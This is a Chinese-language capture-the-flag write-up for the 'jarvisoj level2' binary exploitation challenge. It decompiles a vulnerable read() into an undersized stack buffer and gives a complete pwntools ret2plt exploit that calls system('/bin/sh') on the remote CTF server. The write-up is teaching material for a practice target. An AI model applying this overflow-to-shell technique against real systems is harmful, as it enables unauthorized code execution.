jarvisoj level2

前提

查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

漏洞函数vulnerable_function如下

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

函数表存在system函数

Gadget

ROPgadget --binary level2 --string "/bin/sh\x00"              
Strings information
============================================================
0x0804a024 : /bin/sh

思路分析

1. 目前信息:
   • vulnerable_function函数可溢出
   • plt表内有system
   • 程序内有/bin/sh字符串
   • No PIE
2. 思路

• 直接溢出到plt表内的system处，传入/bin/sh地址即可

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_level2/level2'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 29484)
elf = ELF(pwnfile)
padding = 0x88+4
bin_sh = 0x0804A024
payload = flat(['a'*padding, elf.plt['system'], 0xdeadbeef, bin_sh])
io.recv()
io.sendline(payload)
io.interactive()